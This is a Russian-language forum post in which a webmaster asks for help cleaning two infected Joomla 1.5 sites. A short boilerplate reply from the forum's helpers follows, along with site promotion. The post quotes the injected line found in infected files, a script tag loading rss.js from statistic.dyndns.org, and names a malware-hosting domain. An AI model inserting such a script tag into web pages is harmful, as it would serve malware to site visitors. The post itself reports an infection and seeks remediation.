Завелась такая зараза на моих сайтах (см. тему). "Немного" о диагностике:
- Google. ВЕБ мастер выявил в теле зараженных файлов на сервере такую строку:
<script src="http://statistic.dyndns.org/rss.js"> и ей подобные
- еще гугл сообщил:
Число доменов, на которых размещается вредоносное ПО: 1 (в том числе stat.dontexist.com/). Сетей, в которых размещался этот сайт: 1 (в том числе AS35415 (WEBAZILLA)).
- скрипт quick-search.php, загруженный с одного сайта в помощь для излечения заразы в корневые директорию сайта и запущенный с именем основного домена выдал 144 и 277 подозрительных html, php, js файлов соответственно на 2-х сайтах
- сканирование Dr/Web online здесь не дало результатов (архив с бекапом сайта больше лимита)
- не помогло сканирование Avast-ом папки с бэкапами на компьютере - как будто все нормально.
Что же делать, желательно автоматическим способом???? Сайтs на Joomla 1.5. Я уже и компоненты на joomla.org искал, но бесплатных раз-два и обчелся - не помогают. Положение частично спасло обновление Joomla до 1.5.26, но зараза все равно осталась!!!
Т.к. комп проверял 3-мя различными антивирусами, отсылаю 2 файла админам (хелперам) этого сайта.
Прошу вашей помощи, ЛЮДИ!
Будь в курсе!Будь в курсе!
Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:
Уважаемый(ая) Олег_INN, спасибо за обращение на наш форум!
Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.
Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru: